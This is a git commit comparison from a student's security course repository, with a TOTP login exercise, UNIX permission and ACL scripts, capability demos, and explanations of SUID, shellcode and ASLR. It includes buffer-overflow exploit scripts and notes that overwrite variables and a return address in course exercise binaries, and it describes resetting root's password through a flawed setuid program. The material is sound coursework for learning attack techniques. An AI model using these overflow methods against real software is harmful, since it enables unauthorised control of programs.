Compare commits
13 Commits
64ae54469d
...
sheet07-su
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
1d5f1bfa58 | ||
|
|
91bd5ab2ee | ||
|
|
0b2b9741d3 | ||
|
|
4ff7e162ac | ||
|
|
58553b688a | ||
|
|
b118e163b2 | ||
|
|
266df5d32c | ||
|
|
a2d5d23307 | ||
|
|
e40906a933 | ||
|
|
f29fbed900 | ||
|
|
ea32ada42d | ||
|
|
6676f07705 | ||
|
|
62fb088403 |
7
.gitignore
vendored
7
.gitignore
vendored
@@ -1,3 +1,8 @@
|
||||
*.pdf
|
||||
sheet01/a2/Hash.java
|
||||
*.class
|
||||
*.class
|
||||
passwd
|
||||
sheet04/AuthWithTOTP.java
|
||||
sheet04/key-exchange.pcap
|
||||
sheet06/a2/assign*
|
||||
sheet07/a1/assign*
|
||||
|
||||
149
sheet04/a2/AuthWithTOTP.java
Normal file
149
sheet04/a2/AuthWithTOTP.java
Normal file
@@ -0,0 +1,149 @@
|
||||
import java.nio.ByteBuffer;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Path;
|
||||
import java.security.MessageDigest;
|
||||
import java.time.Instant;
|
||||
import java.util.HexFormat;
|
||||
import java.util.Map;
|
||||
import java.util.Scanner;
|
||||
import java.util.stream.Collectors;
|
||||
import javax.crypto.Mac;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
|
||||
public class AuthWithTOTP {
|
||||
|
||||
private static final byte[] INVALID_HASH =
|
||||
"----------------------------------------------------------------".getBytes();
|
||||
|
||||
// hex-encoded: 3c2bc45f2de6568bb285aa1c6fcac1b6965cc770
|
||||
// base32-encoded: HQV4IXZN4ZLIXMUFVIOG7SWBW2LFZR3Q
|
||||
private static final byte[] K = new byte[] {
|
||||
60,
|
||||
43,
|
||||
-60,
|
||||
95,
|
||||
45,
|
||||
-26,
|
||||
86,
|
||||
-117,
|
||||
-78,
|
||||
-123,
|
||||
-86,
|
||||
28,
|
||||
111,
|
||||
-54,
|
||||
-63,
|
||||
-74,
|
||||
-106,
|
||||
92,
|
||||
-57,
|
||||
112,
|
||||
};
|
||||
|
||||
public static void main(String[] args) {
|
||||
// I changed it to a scanner cause my terminal had issues with the other thingy
|
||||
try (Scanner sc = new Scanner(System.in)) {
|
||||
Map<String, byte[]> passwd = Files.readAllLines(Path.of("passwd"))
|
||||
.stream()
|
||||
.filter(line -> line.indexOf(":") > 1 && line.length() > 3)
|
||||
.collect(
|
||||
Collectors.toMap(
|
||||
line -> line.substring(0, line.indexOf(':')),
|
||||
line ->
|
||||
HexFormat.of().parseHex(
|
||||
line.substring(line.indexOf(':') + 1)
|
||||
)
|
||||
)
|
||||
);
|
||||
|
||||
System.out.println(
|
||||
"Chocolate Factory SCADA Command Line Interface v2.2.144"
|
||||
);
|
||||
System.out.println();
|
||||
System.out.println(
|
||||
"Please, enter your authentication credentials."
|
||||
);
|
||||
System.out.println();
|
||||
|
||||
String username;
|
||||
String password;
|
||||
String totpCode;
|
||||
|
||||
long timeout = 500;
|
||||
while (true) {
|
||||
System.out.print("> Username: ");
|
||||
username = sc.nextLine();
|
||||
System.out.print("> Password: ");
|
||||
password = sc.nextLine();
|
||||
System.out.print("> TOTP Code: ");
|
||||
totpCode = sc.nextLine();
|
||||
|
||||
MessageDigest digest = MessageDigest.getInstance("SHA-256");
|
||||
byte[] encodedHash = digest.digest(password.getBytes());
|
||||
|
||||
// constant time comparison to prevent timing attacks
|
||||
if (
|
||||
MessageDigest.isEqual(
|
||||
passwd.getOrDefault(username, INVALID_HASH),
|
||||
encodedHash
|
||||
)
|
||||
) {
|
||||
// Get the counter from the unix seconds
|
||||
final var counter = (int) Math.floor(
|
||||
Instant.now().getEpochSecond() / 30.0
|
||||
);
|
||||
|
||||
// Compute the hmac
|
||||
final var mac = Mac.getInstance("HmacSHA1");
|
||||
mac.init(new SecretKeySpec(K, "HmacSHA1"));
|
||||
mac.update(ByteBuffer.allocate(8).putLong(counter).array());
|
||||
final var hmacResult = mac.doFinal();
|
||||
|
||||
// Do the truncating + modulo
|
||||
int offset = hmacResult[19] & 0x0f;
|
||||
int binaryCode =
|
||||
((hmacResult[offset] & 0x7f) << 24) |
|
||||
((hmacResult[offset + 1] & 0xff) << 16) |
|
||||
((hmacResult[offset + 2] & 0xff) << 8) |
|
||||
(hmacResult[offset + 3] & 0xff);
|
||||
binaryCode = binaryCode % 1000000;
|
||||
|
||||
// Validate the code + padding
|
||||
final var code = String.format("%06d", binaryCode);
|
||||
if (!code.equals(totpCode)) {
|
||||
System.out.println(
|
||||
"Invalid username, password and/or TOTP code."
|
||||
);
|
||||
Thread.sleep(timeout);
|
||||
timeout *= 2;
|
||||
continue;
|
||||
}
|
||||
|
||||
System.out.printf("Welcome %s!%n", username);
|
||||
Thread.sleep(150);
|
||||
break;
|
||||
} else {
|
||||
// exponential timeout to prevent brute force attacks
|
||||
System.out.println(
|
||||
"Invalid username, password and/or TOTP code."
|
||||
);
|
||||
Thread.sleep(timeout);
|
||||
timeout *= 2;
|
||||
}
|
||||
}
|
||||
|
||||
printSystemStatus();
|
||||
printSecretRecipe();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
private static void printSystemStatus() throws Exception {
|
||||
// SECRET
|
||||
}
|
||||
|
||||
private static void printSecretRecipe() throws Exception {
|
||||
// SECRET
|
||||
}
|
||||
}
|
||||
5
sheet04/a2/c.txt
Normal file
5
sheet04/a2/c.txt
Normal file
@@ -0,0 +1,5 @@
|
||||
Without the time interval entering the codes would be really difficult. Imagine having only one second to enter the code + the request having to travel to some server for it to verify (can take up to 200ms around the world) + the server having to process the request and verify the code.
|
||||
|
||||
There could be measures to make sure the code is still valid even when entering a little old code, but then you're really just introducing an interval. So why not do it from the start?
|
||||
|
||||
That's why you need a 30s interval. For user experience, to make sure the system can actually work even when grandma has to type it in and reopen the authenticator 10x because she forgot the code or typed something wrong.
|
||||
3
sheet05/a1/archive.sh
Normal file
3
sheet05/a1/archive.sh
Normal file
@@ -0,0 +1,3 @@
|
||||
#!/bin/bash
|
||||
# $1 = directory path
|
||||
chmod -R a-w "$1"
|
||||
3
sheet05/a1/create_user.sh
Normal file
3
sheet05/a1/create_user.sh
Normal file
@@ -0,0 +1,3 @@
|
||||
#!/bin/bash
|
||||
# $1 = username, $2 = comma-separated groups
|
||||
useradd -G "$2" "$1" || usermod -aG "$2" "$1"
|
||||
6
sheet05/a1/explanation.txt
Normal file
6
sheet05/a1/explanation.txt
Normal file
@@ -0,0 +1,6 @@
|
||||
UNIX permissions only support one Owner, one Group, and Other (UGO).
|
||||
The 'Group' slot is already taken by the specific lecture group to give students write access.
|
||||
If we use 'Other' to give the supervisor read access, every user on the system could read it, which would violate the requirements.
|
||||
If we add the supervisor to the lecture group, they get write access, which also violates the requirements.
|
||||
|
||||
Because a file cannot have multiple groups or user-specific overrides under standard UNIX permissions, this cannot be solved.
|
||||
3
sheet05/a1/supervisor.sh
Normal file
3
sheet05/a1/supervisor.sh
Normal file
@@ -0,0 +1,3 @@
|
||||
#!/bin/bash
|
||||
# $1 = supervisor username
|
||||
echo "not possible with the standard UNIX permissions. See explanation.txt."
|
||||
3
sheet05/a2/archive.sh
Normal file
3
sheet05/a2/archive.sh
Normal file
@@ -0,0 +1,3 @@
|
||||
#!/bin/bash
|
||||
TARGET_DIR=$1
|
||||
chmod -R a-w "$TARGET_DIR"
|
||||
4
sheet05/a2/create_user.sh
Normal file
4
sheet05/a2/create_user.sh
Normal file
@@ -0,0 +1,4 @@
|
||||
#!/bin/bash
|
||||
USERNAME=$1
|
||||
GROUPS=$2
|
||||
useradd -G "$GROUPS" "$USERNAME" || usermod -aG "$GROUPS" "$USERNAME"
|
||||
3
sheet05/a2/explanation.txt
Normal file
3
sheet05/a2/explanation.txt
Normal file
@@ -0,0 +1,3 @@
|
||||
The supervisor's read access would fail with UNIX permissions, since they are limited to one owner, one group, and "others".
|
||||
Access Control Lists (ACLs) resolve this problem by allowing permissions beyond the standard three.
|
||||
Using `setfacl`, we can append specific read and execute rights (r-x) for individual users (the supervisors) directly to the files and directories.
|
||||
6
sheet05/a2/supervisor.sh
Normal file
6
sheet05/a2/supervisor.sh
Normal file
@@ -0,0 +1,6 @@
|
||||
#!/bin/bash
|
||||
SUPERVISOR=$1
|
||||
# Grant read and execute permissions to the supervisor user recursively
|
||||
setfacl -R -m u:"$SUPERVISOR":r-x .
|
||||
# Set the default ACL
|
||||
setfacl -R -d -m u:"$SUPERVISOR":r-x .
|
||||
4
sheet05/a3/a.txt
Normal file
4
sheet05/a3/a.txt
Normal file
@@ -0,0 +1,4 @@
|
||||
Passwords are stored in the /etc/shadow file, which is restricted to the root user.
|
||||
A standard user cannot write to it directly. However, the passwd executable is owned by root and has the SUID permission set.
|
||||
When a standard user runs passwd, the SUID bit tells the system to execute the program with the privileges of root,
|
||||
giving the program the temporary permissions to update /etc/shadow
|
||||
5
sheet05/a3/b.txt
Normal file
5
sheet05/a3/b.txt
Normal file
@@ -0,0 +1,5 @@
|
||||
The script runs with root privileges because the setuid bit is set.
|
||||
Since it just asks for a username and saves the new hash to /etc/shadow,
|
||||
and there is no validation checking if the user running the program is actually changing their own password,
|
||||
someone could simply run the program, type root as the username, and set a new password for the root user.
|
||||
The script would then overwrite the actual root password in /etc/shadow.
|
||||
16
sheet06/a1/a.txt
Normal file
16
sheet06/a1/a.txt
Normal file
@@ -0,0 +1,16 @@
|
||||
10:16:36 leo@group-20 ~ → sudo chmod u-s /bin/ping
|
||||
10:18:59 leo@group-20 ~ → ping google.com
|
||||
ping: socktype: SOCK_RAW
|
||||
ping: socket: Operation not permitted
|
||||
ping: => missing cap_net_raw+p capability or setuid?
|
||||
10:19:03 leo@group-20 ~ → sudo setcap cap_net_raw+ep /bin/ping
|
||||
10:19:48 leo@group-20 ~ → ping google.com
|
||||
PING google.com (142.251.20.138) 56(84) bytes of data.
|
||||
64 bytes from bx-in-f138.1e100.net (142.251.20.138): icmp_seq=1 ttl=112 time=10.5 ms
|
||||
64 bytes from bx-in-f138.1e100.net (142.251.20.138): icmp_seq=2 ttl=112 time=9.83 ms
|
||||
|
||||
The capability is required because ping sends ICMP packets to function.
|
||||
It has to create raw network sockets and for that the kernel needs the cap_net_raw capability.
|
||||
|
||||
The permitted set grants the executable the right to posess this capability.
|
||||
The effective set is needed because ping is not programmed to automatically set the effective set on runtime which is needed for the program to open the raw socket immediately.
|
||||
21
sheet06/a1/b.txt
Normal file
21
sheet06/a1/b.txt
Normal file
@@ -0,0 +1,21 @@
|
||||
10:31:48 leo@group-20 ~ → ls -l /bin/netcat
|
||||
lrwxrwxrwx 1 root root 24 Apr 8 2024 /bin/netcat -> /etc/alternatives/netcat
|
||||
10:31:57 leo@group-20 ~ → ls -l /etc/alternatives/netcat
|
||||
lrwxrwxrwx 1 root root 15 Apr 8 2024 /etc/alternatives/netcat -> /bin/nc.openbsd
|
||||
10:32:11 leo@group-20 ~ → ls -l /bin/nc.openbsd
|
||||
-rwxr-xr-x 1 root root 39560 Apr 8 2024 /bin/nc.openbsd
|
||||
10:31:38 leo@group-20 ~ → sudo setcap cap_net_bind_service+ep /bin/nc.openbsd
|
||||
10:32:46 leo@group-20 ~ → netcat -l 81
|
||||
GET / HTTP/1.1
|
||||
Host: 10.42.23.30:81
|
||||
User-Agent: curl/8.20.0
|
||||
Accept: */*
|
||||
leo@leo-laptop:~$ curl 10.42.23.30:81
|
||||
^C
|
||||
|
||||
|
||||
|
||||
On linux ports 0-1023 are privileged ports to which only the root user can bind by default.
|
||||
By setting the cap_net_bind_service capability the executable can also bind to those lower ports.
|
||||
/bin/netcat is only a symlink leading to /etc/alternatives/netcat which is a symlink leading to /bin/nc.openbsd.
|
||||
The capabilities are stored in the file's inode. Because symlinks do not support extended attributes in this way the capability has to be stored on the target executable.
|
||||
5
sheet06/a2/b.txt
Normal file
5
sheet06/a2/b.txt
Normal file
@@ -0,0 +1,5 @@
|
||||
Java has bounds checking for arraycopy and other functions built-in, therefore when trying to do the same thing as before we get:
|
||||
|
||||
Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: arraycopy: last source index 144 out of bounds for char[128]
|
||||
at java.base/java.lang.System.arraycopy(Native Method)
|
||||
at assignment2b.main(assignment2b.java:14)
|
||||
1
sheet06/a2/stack-a.sh
Executable file
1
sheet06/a2/stack-a.sh
Executable file
@@ -0,0 +1 @@
|
||||
echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" | "./assignment2a"
|
||||
1
sheet06/a2/stack-a.txt
Normal file
1
sheet06/a2/stack-a.txt
Normal file
@@ -0,0 +1 @@
|
||||
The gets function reads into a buffer with 128 bytes from stdin. So to create a buffer overflow, I just need to put in 128 characters (all of the A) and then what we want to be written where the 32 bit integer is at the end (since it's behind the buffer inside of the struct).
|
||||
1
sheet06/a2/stack-c.sh
Executable file
1
sheet06/a2/stack-c.sh
Executable file
@@ -0,0 +1 @@
|
||||
./assignment2c AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
1
sheet06/a2/stack-c.txt
Normal file
1
sheet06/a2/stack-c.txt
Normal file
@@ -0,0 +1 @@
|
||||
Same idea as a here, just that we put in 64 characters this time since the buffer is only 64 characters big. This means 65 A's and the job is done.
|
||||
2
sheet06/a2/stack-d.sh
Executable file
2
sheet06/a2/stack-d.sh
Executable file
@@ -0,0 +1,2 @@
|
||||
NUMBER=$(printf "\x74\x69\x6E\x49")
|
||||
./assignment2d AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$NUMBER
|
||||
1
sheet06/a2/stack-d.txt
Normal file
1
sheet06/a2/stack-d.txt
Normal file
@@ -0,0 +1 @@
|
||||
Since we now want to change toChange to a deterministic value, specifically 0x496e6974, I just used printf to generate the ASCII characters for this number and then passed it straight to the program with some extra stuff in front to make the buffer overflow. You just have to put the bytes in reverse order due to little endian and stuff.
|
||||
3
sheet07/a1/e.txt
Normal file
3
sheet07/a1/e.txt
Normal file
@@ -0,0 +1,3 @@
|
||||
Shellcodes are raw machine instructions executed directly by the CPU, so they must match the specific instruction set architecture.
|
||||
To spawn a shell the shellcode has to make system calls to the kernel.
|
||||
Because syscall numbers and the CPU registers used to pass arguments vary entirely between different operating systems and architectures, a shellcode written for 32-bit Linux will not work on 64-bit Linux or Windows.
|
||||
4
sheet07/a1/f.txt
Normal file
4
sheet07/a1/f.txt
Normal file
@@ -0,0 +1,4 @@
|
||||
ASLR randomizes the base addresses of memory segments like the stack and shared libraries on every execution.
|
||||
To defeat it an information leak vulnerability is usually required to read a valid memory address at runtime.
|
||||
Since ASLR only shifts the memory regions as a whole, the relative offsets between functions remain constant.
|
||||
By leaking a single pointer the base address can be calculated, which allows computing the exact runtime location of the target function or ROP gadgets.
|
||||
2
sheet07/a1/stack-a.sh
Executable file
2
sheet07/a1/stack-a.sh
Executable file
@@ -0,0 +1,2 @@
|
||||
NUMBER=$(printf "\x74\x69\x6E\x49")
|
||||
ENV_VAR="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$NUMBER" "./assignment1a"
|
||||
3
sheet07/a1/stack-a.txt
Normal file
3
sheet07/a1/stack-a.txt
Normal file
@@ -0,0 +1,3 @@
|
||||
I just injected the same thing into the Environment Variable as for the 2d task on the last worksheet. This works the exact same way here.
|
||||
|
||||
128 characters of 'A' to be put into the buffer and after that all of the bytes for the number we want to put into the variable.
|
||||
2
sheet07/a1/stack-b.sh
Executable file
2
sheet07/a1/stack-b.sh
Executable file
@@ -0,0 +1,2 @@
|
||||
NUMBER=$(printf "\xDE\x11\x40")
|
||||
echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$NUMBER" | ./assignment1b
|
||||
3
sheet07/a1/stack-b.txt
Normal file
3
sheet07/a1/stack-b.txt
Normal file
@@ -0,0 +1,3 @@
|
||||
I went into gdb with the file using `gdb -q assignment1b`. After doing `print success`, I found that 0x4011de is the pointer for the function.
|
||||
|
||||
I then created a script similar to 1d and just changed the number we inserted into the variable before into the function pointer. And that worked.
|
||||
2
sheet07/a1/stack-c.sh
Executable file
2
sheet07/a1/stack-c.sh
Executable file
@@ -0,0 +1,2 @@
|
||||
NUMBER=$(printf "\x46\x11\x40")
|
||||
echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$NUMBER" | ./assignment1c
|
||||
20
sheet07/a1/stack-c.txt
Normal file
20
sheet07/a1/stack-c.txt
Normal file
@@ -0,0 +1,20 @@
|
||||
After some Google and asking Mr. GPT I found out that the return address is usually stored at the allocated stack size + 8 bytes on x86. So I disassembled assignment1c and found the following assembly code:
|
||||
|
||||
0x0000000000401168 <+0>: push %rbp
|
||||
0x0000000000401169 <+1>: mov %rsp,%rbp
|
||||
0x000000000040116c <+4>: sub $0x90,%rsp
|
||||
0x0000000000401173 <+11>: lea -0x90(%rbp),%rax
|
||||
0x000000000040117a <+18>: mov %rax,%rdi
|
||||
0x000000000040117d <+21>: call 0x401040 <gets@plt>
|
||||
0x0000000000401182 <+26>: mov 0x8(%rbp),%rax
|
||||
0x0000000000401186 <+30>: mov %rax,-0x8(%rbp)
|
||||
0x000000000040118a <+34>: mov -0x8(%rbp),%rax
|
||||
0x000000000040118e <+38>: lea 0xe7b(%rip),%rdx # 0x402010
|
||||
0x0000000000401195 <+45>: mov %rax,%rsi
|
||||
0x0000000000401198 <+48>: mov %rdx,%rdi
|
||||
0x000000000040119b <+51>: mov $0x0,%eax
|
||||
0x00000000004011a0 <+56>: call 0x401030 <printf@plt>
|
||||
0x00000000004011a5 <+61>: nop
|
||||
0x00000000004011a6 <+62>: leave
|
||||
|
||||
What we can see here is that with lea we allocate a size of 0x90 = 144 bytes. So with 144 + 8 being 152, I have to write 152 'A' characters and then put in my return address. So that's how the stack-c.sh file works.
|
||||
Reference in New Issue
Block a user